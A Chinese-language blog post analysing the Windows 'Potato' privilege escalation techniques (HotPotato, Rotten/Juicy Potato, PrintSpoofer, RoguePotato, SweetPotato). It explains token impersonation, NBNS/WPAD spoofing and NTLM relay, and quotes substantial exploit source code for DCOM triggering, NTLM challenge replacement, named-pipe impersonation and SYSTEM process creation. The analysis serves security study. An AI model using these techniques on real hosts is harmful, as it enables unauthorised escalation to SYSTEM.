土豆提权原理分析


前言

土豆系列的提权原理主要是诱导高权限访问低权限的系统对象,导致低权限的对象可以模拟高权限对象的访问
令牌(Access Token),进而可以用访问令牌创建进程,达到代码执行。

访问控制模型有两个主要的组成部分,访问令牌(Access Token)和
安全描述符(Security Descriptor),它们分别是访问者和被访问者拥有的东西。通过访问令牌和安全描述符的内容,Windows可以确定持有令牌的访问者能否访问持有安全描述符的对象

关于令牌

令牌模拟

windows token又叫access token,是一个描述进程或者线程安全上下文的一个对象,不同的用户登录计算机后,都会生成一个access token,这个toekn在用户创建进程或者线程时候就会被不断拷贝,也就解释了A用户创建一个进程而该进程不会有B用户的权限

组成

主要分为:主令牌primary令牌、模拟令牌impersonation令牌
当用户注销后,系统将会使主令牌切换为模拟令牌,而模拟令牌不会被清除只有重启机器后才会被清除

每个进程都有一个主令牌,用于描述与进程关联的用户帐户的安全上下文。当进程的线程与安全对象交互时,系统将使用主令牌。线程可以模拟客户端帐户。模拟允许线程使用客户端的安全上下文与安全对象进行交互。模拟客户端的线程同时具有主令牌和模拟令牌

令牌的组成:
用户帐户 ( SID) 安全标识符
用户是其中一个成员的组的 ID
标识 当前登录 会话的 登录 SID
用户 或 用户组拥有的权限列表
所有者 SID
主组的 SID
用户创建安全对象而不指定安全描述符时系统 使用的默认 DACL
访问令牌的源
令牌是主 令牌还是模拟令牌
限制 SID 的可选列表
当前模拟级别
其他统计信息

创建过程

使用凭据进行认证–>登录Session创建–>Windows返回用户sid和用户组sid–>LSA(Local Security Authority)创建一个Token–>依据该token创建进程、线程(如果CreaetProcess时自己指定了 Token, LSA会用该Token, 否则就继承父进程Token进行运行)

模拟等级
SecurityAnonymous	服务器无法模拟或标识客户端
SecurityIdentification	服务器可以获取客户端的标识和特权,但不能模拟客户端
SecurityImpersonation	服务器可以模拟本地系统上的客户端安全上下文
SecurityDelegation	服务器可以在远程系统上模拟客户端的安全上下文

image-20211110132445545

常规通过用户身份创建进程的函数
CreateProcessWithLogon	不需要特权	域/用户名/密码
CreateProcessWithToken	需要SeImpersonatePrivilege	Primary令牌
CreateProcessAsUser	需要SeAssignPrimaryTokenPrivilege和SeIncreaseQuotaPrivilege	Primary令牌

当拥有了SeAssignPrimaryTokenPrivilege、SeImpersonatePrivilege就能够以primary令牌方式来创建新的进程从而提升权限

常规土豆提权漏洞

烂土豆(Rotten Potato)提权MS16-075
CVE-2020-0668
CVE-2020-0683 MSI Packages Symbolic Links Processing - Windows 10 Privilege Escalation
CVE-2020-8950
CVE-2020-0683
CVE-2019-1002101
CVE-2019-0986
CVE-2018-1088

实际使用

基本介绍

该提权手法前提是拥有SeImpersonatePrivilege 或 SeAssignPrimaryTokenPrivilege权限,以下用户拥有SeImpersonatePrivilege权限,而只有更高的用户如system才拥有SeAssignPrimaryTokenPrivilege权限:
	本地管理员账户(不包含管理组普通用户)和本地服务账户
	由SCM启动的服务
	
也可以理解拥有SeImpersonatePrivilege、SeAssignPrimaryTokenPrivilege也就是system权限
	
注意,及时本地组策略授予管理员组普通用户SeImpersonatePrivilege权限,在whoami /priv内也无法显示该特权,且无法利用,SeAssignPrimaryTokenPrivilege权限可以正常授予普通用户

windows服务账户:
Local System  		 NT AUTHORITY\SYSTEM
Network Service 	 NT AUTHORITY\Network Service
Local Service 		 NT AUTHORITY\Local Service

即,提权是administrator->system  service->system
实际使用场景在于iiswebshell、sqlshell的情况下获取到的是服务账户,其实是个低权限账户,那么用该手法就可以提到system

HotPotato

基本介绍

基于NTLM反射的权限的攻击方式,可以从主机最低用户权限提升至system,其中将利用ntlm relay(http->smb)和nbns欺骗,获取windows最高权限

nbns

net bios name service 是windows中使用的udp广播服务,使用udp进行实现,可以通过发送局域网内广播来实现本地名称解析

类似于dns,负责查找目标机器对应的ip,并赋予一个netbios服务,微软的wins服务采用的就是nbns服务,实现欺骗是会向所有主机广播一条信息,谁是XXX,如果谁回应了这个消息票,谁就是XXX,内网渗透下攻击者往往将监听nbns广播信息,并会应答自己是XXX,这就是nbns欺骗,nbns包有1个2字节的txid字段,必须进行请求与响应,因为是提权漏洞,攻击前没有权限可以监听流量,但可以通过1——65535进行泛红猜解

另外如果网络中有dns协议,那么久不会使用nbns,可以通过udp端口耗尽从而实现dns查询失败,这么一来就必须使用nbns

补充
系统进行一个名字查询的逻辑如下
1、查询本地hosts文件
2、dns lookup查询(本地dns缓存,远程dns)
3、nbns请求

如下当访问一个不存在的域名时候,windows将触发nbns进行请求查询,请求的地址是255,此处是一个广播包,任何人都可以进行回复

image-20211110141342310

wpad代理

web proxy autodiscovery protocol 是web代理自动发现协议的简称,功能是可以使局域网中用户的浏览器自动发现内网中的代理服务器,并使用已发现的代理服务器连接互联网或者企业内网,支持所有主流浏览器,从ie5开始就已经支持了代理服务器自动发现切换的功能

当系统开启了代理自动发现功能后,用户浏览器上网时候浏览器会在当前局域网中自动查找代理服务器,如果找到了代理服务器,则会从代理服务器上下载一个PAC配置文件,文件中定义了用户在访问一个URL时所使用的代理服务器,浏览器会下载并解析该文件,将相应的代理服务器设置到用户的浏览器中

smb relay

让受害者尝试使用带有ntlm身份验证的smb协议相向攻击者进行身份验证,然后攻击者会将这些凭证中继回受害者的计算机,并且使用类似psexec的技术获得远程访问权限

此处smb->smb relay已经不再能成功,但是利用跨协议攻击,http->smb relay依旧可以成功

实际攻击

ie检测ie代理配置时候,方式是访问http://wpad/wpad.dat
其中wpad不一定存在于网络内,因为即使有dns服务器也没有必要解析wpad,除非网络想通过配置脚本自动配置网络中的代理信息

在hosts、dns查询都不能获取wpad的情况下,系统必然使用nbns进行名字查询,此时可以通过nbns欺骗告知自己就是wpad可以伪造http服务,响应http的http://wpad/wpad.dat请求

通过在本地构造http,将wpad的流量全部引导本地127.0.0.1,即使低权限用户发出对wpad的nbns欺骗,高权限也会受到影响,认为wpad就是欺骗后的结果,包括本地管理员和system进程

本地http服务器收到请求时,将会响应如下内容
FindProxyForURL(url,host){
if (dnsDomainIs(host, "localhost")) return "DIRECT";
return "PROXY 127.0.0.1:80";}

这也就导致了所有http流量都将在本地运行的服务器上进行重定向,因为能够控制http流量到我们控制的目标,那么可以尝试重定向到请求ntlm身份验证的地方,所有的http请求都重定向http://localhost/GETHASHESxxxxx,请求http://localhost/GETHASHESxxxxx,ntlm身份验证的401将请求响应,然后将任何ntlm凭据中继到本地smb并创建运行用户定义的服务,当有请求来自高权限账户,如,来自更新服务时候,将以system权限运行


利用步骤
1、nbns欺骗
2、构造本地http从而响应wpad
3、http->smb relay
4、等待高权限进程的访问,激活更新服务

image-20211110142207076

注意,因为windows设置代理和wpad文件的方式不同,有时不会那么的稳定,当漏洞利用不成功时,需要让他运行并等待,当有缓存条目的wpad时,或者没有找到wpad而允许直接访问internet时,会需要30-60分钟来刷新wpad文件,此时需要再次运行exp进行出发

RottenPotato & JuicyPotato

基本介绍

image-20211112090901319

通过 DCOM CALL 来使服务向攻击者监听的端口发起连接并进行 NTLM 认证,rotten和juicy是相似的原理,后者在前者的基础上更加完善

补充
使用 DCOM 时,如果以服务的方式远程连接,那么权限为 System,例如 BITS 服务
使用 DCOM 可以通过 TCP 连接到本机的一个端口,发起 NTLM 认证,该认证可以被重放
LocalService 用户默认具有 SeImpersonate 和 SeAssignPrimaryToken 权限

实现攻击流程
1、加载com,发出请求,权限为sytem,在指定的ip和端口位置尝试加载一个com对象
此处使用的com对象为bits,CLSID为{4991d34b-80a1-4291-83b6-3328366b9097}
可提供的com对象不唯一
2、回应第一步的请求,发起ntlm认证,正常情况下由于权限不足,当前不是sytem所以无法认证成功
3、针对本地端口,同样发起ntlm认证,权限为当前期用户,此处使用的是135,juicy支持指定任意本地端口
4、分别拦截两个ntlm认证数据包,替换数据,通过ntlm重放使得第一步system的ntlm认证通过,获得system权限的token,需要修改ntlm的challenge
5、使用system权限创建新的进程

实际攻击

当前权限如下

image-20211111133931348

提权后效果如下

image-20211111151225826

此处clsid可使用如下脚本进行遍历

数据包分析

image-20211111155840570

代码中CoGetInstanceFromIStorage,连接com调用一个bits对象实例,并且从127.0.0.1的6666进行加载

        public static void BootstrapComMarshal()
        {
            IStorage stg = CreateStorage();
            
            Guid clsid = new Guid("4991d34b-80a1-4291-83b6-3328366b9097");

            TestClass c = new TestClass(stg);

            MULTI_QI[] qis = new MULTI_QI[1];

            qis[0].pIID = GuidToPointer("00000000-0000-0000-C000-000000000046");
            qis[0].pItf = null;
            qis[0].hr = 0;

            CoGetInstanceFromIStorage(null, ref clsid, null, CLSCTX.CLSCTX_LOCAL_SERVER, c, 1, qis);

        }

com将运行system账户尝试进行ntlm身份验证,要做的就是本地6666监听com接收到的数据包中继回135的rpc监听

查看第一阶段数据包

image-20211111141808593

如下从6666端口进行监听域com的会话,然后将相同的数据包中继到rpc上,再从rpc上收到回复,再回复给com,攻击过程中只需要重复这个过程,知道ntlm认证

image-20211111142017866

再看ntlm中继和本地令牌协商

左边的com将在6666上发送数据包,右边的则是通过数据包内容对数据进行提取,进步开展api调用

为了使用ntlm身份验证在看本地协商安全令牌,必须调用函数AcquireCredentialsHandle来获取数据结构

进步再调用AcceptSecurityContext,输入ntlm协商消息,输出challenge,消息将被发送返回身份验证,此处为dcom

当ntlm身份验证消息响应时,在传递给对AcceptSecurityContext的调用以完成身份验证过程并获取令牌

image-20211111142330713

协商数据包,在rpc和com进行中继,最终com将尝试发送ntlm协商来进行ntlm身份认证,此处将转发给rpc,rpc将回复一个ntlm询问

image-20211111143014943

从com收到ntlm协商消息时,并使用他进行本地协商令牌过程

image-20211111144301550

image-20211111144031586

挑战类型数据包,将ntlm协商数据包转发到rpc上,然后rcp回复挑战数据包,查看两个挑战数据包,两个challenge并不相同,如果仅3是将数据包从rpc转发到com就不会这样

image-20211111144425589

再回到AcceptSecurityContext进行api调用时,输出是一条challenge消息,所做的是利用api结果替换我们发送到com的数据包信息

因为需要com,以system账户运行以操作ntlm质询和用来协商本地令牌保留部分进行身份验证,如果没有替换数据包中这一部分,对AcceptSecurityContext的操作将失败

ntlm身份验证数据包
目前将修改后他ntlm协商数据包转发到com中,其中的Challenge、Reserved同AcceptSecurityContext输出相匹配,当system收到ntlm上个阶段消息时,会在内存中进行幕后验证,这就是为什么要更新保留字段的原因

完成后代表system账户的com将返回发送的身份验证数据包,这里应该是空的,因为是在内存中校验的,然后来进行AcceptSecurityContext的最终调用

利用最终的调用结果以获取模拟令牌

image-20211111150449563

补充 模拟令牌的条件

image-20211111150739681

Juicy potato数据包,大致和rotten potato相似

image-20211111162828125

工具实现分析

实现过程比较复制,中间涉及ntlm认证相关
	class PotatoAPI {//api定义
private:
	BlockingQueue<char*>* comSendQ;
	BlockingQueue<char*>* rpcSendQ;
	static DWORD WINAPI staticStartRPCConnection(void * Param);
	static DWORD WINAPI staticStartCOMListener(void * Param);
	static int newConnection;
	int processNtlmBytes(char* bytes, int len);
	int findNTLMBytes(char * bytes, int len);

public:
	PotatoAPI(void);
	int startRPCConnection(void);
    DWORD startRPCConnectionThread();
	DWORD startCOMListenerThread();
	int startCOMListener(void);
	int triggerDCOM();
	LocalNegotiator *negotiator;
	SOCKET ListenSocket = INVALID_SOCKET;
	SOCKET ClientSocket = INVALID_SOCKET;
	SOCKET ConnectSocket = INVALID_SOCKET;
};

  
	PotatoAPI* test = new PotatoAPI();
	test->startCOMListenerThread();//创建新的线程监听,处理ntlm认证过程

	if (clsid != NULL)
		olestr = clsid;

	if (!TEST_mode)
		printf("Testing %S %S\n", olestr, g_port);


	test->startRPCConnectionThread();//创建新的进程中继到rpc
	test->triggerDCOM();

	BOOL result = false;

if (!OpenProcessToken(GetCurrentProcess(),
				TOKEN_ALL_ACCESS, &hToken))return 0;//进程token获取

			//enable privileges
			EnablePriv(hToken, SE_IMPERSONATE_NAME);
			EnablePriv(hToken, SE_ASSIGNPRIMARYTOKEN_NAME);
			PTOKEN_TYPE ptg;
			DWORD dwl = 0;
			HANDLE hProcessToken;
			OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS,
				&hProcessToken);

			QuerySecurityContextToken(test->negotiator->phContext, &elevated_token);//accesstoken获取
			result = DuplicateTokenEx(elevated_token,//token复制
				TOKEN_ALL_ACCESS,
				NULL,
				SecurityImpersonation,
				TokenPrimary,
				&duped_token);

//winsock,实现端口复用,select实现多路复用,接收到client后进行ntlm认证
	iResult = WSAStartup(MAKEWORD(2, 2), &wsaData);

	ZeroMemory(&hints, sizeof(hints));
	hints.ai_family = AF_INET;
	hints.ai_socktype = SOCK_STREAM;
	hints.ai_protocol = IPPROTO_TCP;
	hints.ai_flags = AI_PASSIVE;

	memset(dcom_port, 0, 12);
	wcstombs(dcom_port, g_port, 12);
	
	// printf("[+] Listening on port:%s\n", dcom_port);
	// Resolve the server address and port
	iResult = getaddrinfo(NULL, dcom_port, &hints, &result);

	// Create a SOCKET for connecting to server
	ListenSocket = socket(result->ai_family, result->ai_socktype, result->ai_protocol);
	int optval = 1;
	setsockopt(ListenSocket, SOL_SOCKET, SO_REUSEADDR, (char *)&optval, sizeof(optval));

	// Setup the TCP listening socket
	iResult = bind(ListenSocket, result->ai_addr, (int)result->ai_addrlen);
	//printf("startCOMListener bindresult%d\n", iResult);
	if (iResult == SOCKET_ERROR) {
		freeaddrinfo(result);
		closesocket(ListenSocket);
		WSACleanup();
		return 1;
	}

	freeaddrinfo(result);

	iResult = listen(ListenSocket, SOMAXCONN);
	if (iResult == SOCKET_ERROR) {
		closesocket(ListenSocket);
		WSACleanup();
		return 1;
	}
	//---- non block socket server

	timeval timeout = { 1, 0 };
	fd_set fds;
	FD_ZERO(&fds);
	FD_SET(ListenSocket, &fds);

	select(ListenSocket + 1, &fds, NULL, NULL, &timeout);
	if (FD_ISSET(ListenSocket, &fds))
	{
		ClientSocket = accept(ListenSocket, NULL, NULL);
		if (ClientSocket == INVALID_SOCKET) {
			closesocket(ListenSocket);
			WSACleanup();
			return 1;
		}
	}
	iResult = recv(ClientSocket, recvbuf, recvbuflen, 0);
			processNtlmBytes(recvbuf, iResult);//循环ntlm认证流程查看接收到的ntlm认证包
//所有数据包发送到winrpc套接字的发送队列并等待winrpc套接字将数据包放入到发送队列内
			rpcSendQ->push((char*)&iResult);
			rpcSendQ->push(recvbuf);
//检查是否包含ntlm认证信息,并发送新的信息
			processNtlmBytes(sendbuf, *len);
			iSendResult = send(ClientSocket, sendbuf, *len, 0);

//创建个socket并连接
ConnectSocket = socket(ptr->ai_family, ptr->ai_socktype, ptr->ai_protocol);
		if (ConnectSocket == INVALID_SOCKET) {
			printf("socket failed with error: %ld\n", WSAGetLastError());
			WSACleanup();
			return 1;
		}
		iResult = connect(ConnectSocket, ptr->ai_addr, (int)ptr->ai_addrlen);
		if (iResult == SOCKET_ERROR) {
			closesocket(ConnectSocket);
			ConnectSocket = INVALID_SOCKET;
			continue;
//中继转发
    int *len = (int*)rpcSendQ->wait_pop();

		fflush(stdout);
		sendbuf = rpcSendQ->wait_pop();
		iResult = send(ConnectSocket, sendbuf, *len, 0);
		iResult = recv(ConnectSocket, recvbuf, recvbuflen, 0);

//后面主要是ntlm的协商过程 AcquireCredentialsHandle获取security principal中预先存在的凭据句柄,InitializeSecurityContext和AcceptSecurityContext需要此句柄
  
  	int status = AcquireCredentialsHandle(
		NULL,
		lpPackageName,
		SECPKG_CRED_INBOUND,
		NULL,
		NULL,
		0,
		NULL,
		&hCred,
		&ptsExpiry);
  第一次调用成功将返回SEC_I_CONTINUE_NEEDED
  InitTokenContextBuffer(&secClientBufferDesc, &secClientBuffer);
	InitTokenContextBuffer(&secServerBufferDesc, &secServerBuffer);

	phContext = new CtxtHandle();

	secClientBuffer.cbBuffer = static_cast<unsigned long>(len);
	secClientBuffer.pvBuffer = ntlmBytes;

	ULONG fContextAttr;
	TimeStamp tsContextExpiry;

	status = AcceptSecurityContext(
		&hCred,
		nullptr,
		&secClientBufferDesc,
		ASC_REQ_ALLOCATE_MEMORY | ASC_REQ_CONNECTION,
		//STANDARD_CONTEXT_ATTRIBUTES,
		SECURITY_NATIVE_DREP,
		phContext,
		&secServerBufferDesc,
		&fContextAttr,
		&tsContextExpiry);

  //处理rpc发来的ntlm type2,将响应修改为AcceptSecurityContext本地协商返回的type2即修改server challenge和reserved    
  char* newNtlmBytes = (char*)secServerBuffer.pvBuffer;
	if (len >= secServerBuffer.cbBuffer) {
		for (int i = 0; i < len; i++)
		{
			if (i < secServerBuffer.cbBuffer) {
				ntlmBytes[i] = newNtlmBytes[i];
			}
			else {
				ntlmBytes[i] = 0x00;
			}
		}
	}
  //第二次调用AcceptSecurityContext,输入ntlm type3
  int status = AcceptSecurityContext(
		&hCred,
		phContext,
		&secClientBufferDesc,
		ASC_REQ_ALLOCATE_MEMORY | ASC_REQ_CONNECTION,
		//STANDARD_CONTEXT_ATTRIBUTES,
		SECURITY_NATIVE_DREP,
		phContext,
		&secServerBufferDesc,
		&fContextAttr,
		&tsContextExpiry);//至此协商过程结束
    
    后面基本就是模拟令牌,然后CreateProcessASUser、CreateProcessWithToken创建进程

      

PrintSpoofer or PipePotato or BadPotato

基本介绍

核心原理是利用了打印机错误漏洞,其中通过调用api ImpersonateNamedPipeClient来模拟高权限客户端的token(还有类似的ImpersonatedLoggedOnUser,RpcImpersonateClient函数),调用函数后会改变当前线程的安全上下文,结合打印机检查路径的漏洞,使得system权限服务能够连接到攻击者创建的named pipe

spoolsv.exe服务中有一个公开的rpc服务,包含函数如下
函数将调用创建一个远程更改通知对象,该对象监视对打印机的更改,并将更改通知发送到打印机客户端
DWORD RpcRemoteFindFirstPrinterChangeNotificationEx( 
    /* [in] */ PRINTER_HANDLE hPrinter,
    /* [in] */ DWORD fdwFlags,
    /* [in] */ DWORD fdwOptions,
    /* [unique][string][in] */ wchar_t *pszLocalMachine, //传递unc路径,传递\\127.0.0.1将访问到\pipe\spoolss,因为这个管道已经被系统注册,所以传递时候,会因为路径检查二报错 	StringCchPrintf(pwszPipeFullname, MAX_PATH, L"\\\\.\\pipe\\%ws\\pipe\\spoolss", pwszPipeName);

    /* [in] */ DWORD dwPrinterLocal,
    /* [unique][in] */ RPC_V2_NOTIFY_OPTIONS *pOptions)

服务&管道情况如下:

image-20211112103404361

image-20211112103455688

细谈unc路径报错信息,默认如果server_name是\\127.0.0.1,系统用户会访问\\127.0.0.1\pipe\spoolss,但如果主机名包含/,他讲通过路径验证检查,但是在计算要连接的命名管道路径时,规范会将其转化为\,并且系统还将其认为是ipc连接的方式去发送服务通知

所以作者的思路就能理解了,将接受的主机名设置为\\localhost/pipe/crispr,因为路径规范问题打印机会无人为\\localhost\pipe\crispr\pipe\spoolss,和默认的\\.\pipe\spoolss不是同个管道,因此可以通过创建\\localhost\pipe\crispr\pipe\spoolss来等待SYSTEM权限的spoolsv进程来连接管道

实现攻击

利用效果如下

image-20211111175601816

工具实现分析

image-20211111174653556

image-20211111174736439

	if (!CheckAndEnablePrivilege(NULL, SE_IMPERSONATE_NAME))//检测权限SeImpersonate并enable
	{
		wprintf(L"[-] A privilege is missing: '%ws'\n", SE_IMPERSONATE_NAME);
		goto cleanup;
	}

	wprintf(L"[+] Found privilege: %ws\n", SE_IMPERSONATE_NAME);

	if (!GenerateRandomPipeName(&pwszPipeName))//生成随机的管道名
	{
		wprintf(L"[-] Failed to generate a name for the pipe.\n");
		goto cleanup;
	}

	if (!(hSpoolPipe = CreateSpoolNamedPipe(pwszPipeName)))//创建管道,此处允许任何客户端访问  
	{
		wprintf(L"[-] Failed to create a named pipe.\n");
		goto cleanup;
	}

	if (!(hSpoolPipeEvent = ConnectSpoolNamedPipe(hSpoolPipe)))//等待连接,创建event并返回
	{
		wprintf(L"[-] Failed to connect the named pipe.\n");
		goto cleanup;
	}

	wprintf(L"[+] Named pipe listening...\n");

	if (!(hSpoolTriggerThread = TriggerNamedPipeConnection(pwszPipeName)))//创建新的线程 RpcOpenPrinter 返回命名管道
	{
		wprintf(L"[-] Failed to trigger the Spooler service.\n");
		goto cleanup;
	}

	dwWait = WaitForSingleObject(hSpoolPipeEvent, 5000);//等待连接
	if (dwWait != WAIT_OBJECT_0)
	{
		wprintf(L"[-] Operation failed or timed out.\n");
		goto cleanup;
	}

	GetSystem(hSpoolPipe);//CreateProcessAsUser提权


	StringCchPrintf(pwszPipeFullname, MAX_PATH, L"\\\\.\\pipe\\%ws\\pipe\\spoolss", pwszPipeName);//管道名
	hPipe = CreateNamedPipe(pwszPipeFullname, PIPE_ACCESS_DUPLEX | FILE_FLAG_OVERLAPPED, PIPE_TYPE_BYTE | PIPE_WAIT, 10, 2048, 2048, 0, &sa);  //FILE_FLAG_OVERLAPPED实现异步I/O操作


	hThread = CreateThread(NULL, 0, TriggerNamedPipeConnectionThread, pwszPipeName, 0, &dwThreadId);//利用TriggerNamedPipeConnection创建新的线程

 TriggerNamedPipeConnectionThread连接命名管道
   
	StringCchPrintf(pwszTargetServer, MAX_PATH, L"\\\\%ws", pwszComputerName);
	StringCchPrintf(pwszCaptureServer, MAX_PATH, L"\\\\%ws/pipe/%ws", pwszComputerName, pwszPipeName);

	RpcTryExcept
	{
		if (RpcOpenPrinter(pwszTargetServer, &hPrinter, NULL, &devmodeContainer, 0) == RPC_S_OK)
		{
			RpcRemoteFindFirstPrinterChangeNotificationEx(hPrinter, PRINTER_CHANGE_ADD_JOB, 0, pwszCaptureServer, 0, NULL);
			RpcClosePrinter(&hPrinter);
		}
	}
	RpcExcept(EXCEPTION_EXECUTE_HANDLER);
	{
		// Expect RPC_S_SERVER_UNAVAILABLE
	}
	RpcEndExcept;

进步调用BOOL GetSystem(HANDLE hPipe)

	if (!ImpersonateNamedPipeClient(hPipe)) //ImpersonateNamedPipeClient 当前线程安全上下文切换为client的  
  if (!OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, FALSE, &hSystemToken))//获取令牌
  if (!DuplicateTokenEx(hSystemToken, TOKEN_ALL_ACCESS, NULL, SecurityImpersonation, TokenPrimary, &hSystemTokenDup))//复制新的令牌,DuplicateTokenEx创建一个primary令牌,DuplicateToken只能创建impersonation令牌,且给予 allaccess
	if (g_dwSessionId)
	{
		if (!SetTokenInformation(hSystemTokenDup, TokenSessionId, &g_dwSessionId, sizeof(DWORD)))//通过cli传递sessionid,指定session中开启新的进程
		{
			wprintf(L"SetTokenInformation() failed. Error: %d\n", GetLastError());
			goto cleanup;
		}
	}
  
CreateProcessAsUser、CreateProcessWithTokenW提权同先前的管道实现相仿

if (!CreateProcessAsUser(hSystemTokenDup, NULL, g_pwszCommandLine, NULL, NULL, g_bInteractWithConsole, dwCreationFlags, lpEnvironment, pwszCurrentDirectory, &si, &pi))
	{
		if (GetLastError() == ERROR_PRIVILEGE_NOT_HELD)
		{
			wprintf(L"[!] CreateProcessAsUser() failed because of a missing privilege, retrying with CreateProcessWithTokenW().\n");

			RevertToSelf();

			if (!g_bInteractWithConsole)
			{
				if (!CreateProcessWithTokenW(hSystemTokenDup, LOGON_WITH_PROFILE, NULL, g_pwszCommandLine, dwCreationFlags, lpEnvironment, pwszCurrentDirectory, &si, &pi))
				{
					wprintf(L"CreateProcessWithTokenW() failed. Error: %d\n", GetLastError());
					goto cleanup;
				}
				else
				{
					wprintf(L"[+] CreateProcessWithTokenW() OK\n");
				}
			}
			else
			{
				wprintf(L"[!] CreateProcessWithTokenW() isn't compatible with option -i\n");
				goto cleanup;
			}
		}
		else
		{
			wprintf(L"CreateProcessAsUser() failed. Error: %d\n", GetLastError());
			goto cleanup;
		}
	}

RoguePotato

基本介绍

和先前的Rotten potato & Juicy potato相仿,rpc部分进行了改变,但依旧利用的是命名管道

修复补丁后,Windows DCOM 解析器不允许OBJREF中的DUALSTRINGARRAY字段指定端口号。为了绕过这个限制并能做本地令牌协商,作者在一台远程主机上的135端口做流量转发,将其转回受害者本机端口,并写了一个恶意RPCOXID解析器

RPC支持的协议
https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rpce/472083a9-56f1-4d81-a208-d18aef68c101

SMB	ncacn_np (see section 2.1.1.2)
TCP/IP (both IPv4 and IPv6)	ncacn_ip_tcp (see section 2.1.1.1)
UDP	ncadg_ip_udp (see section 2.1.2.1)
SPX	ncacn_spx (see section 2.1.1.3)
IPX	ncadg_ipx (see section 2.1.2.2)
NetBIOS over IPX	ncacn_nb_ipx (see section 2.1.1.4)
NetBIOS over TCP	ncacn_nb_tcp (see section 2.1.1.5)
NetBIOS over NetBEUI	ncacn_nb_nb (see section 2.1.1.6)
AppleTalk	ncacn_at_dsp (see section 2.1.1.7)
RPC over HTTP	ncacn_http (see section 2.1.1.8)

Sweet Potato

基本介绍

com、winrm、spoolsv的合集版本,也就是juicy+printspoofer

Author: Yangsir
Reprint policy: All articles in this blog are used except for special statements CC BY 4.0 reprint policy. If reproduced, please indicate source Yangsir !
  TOC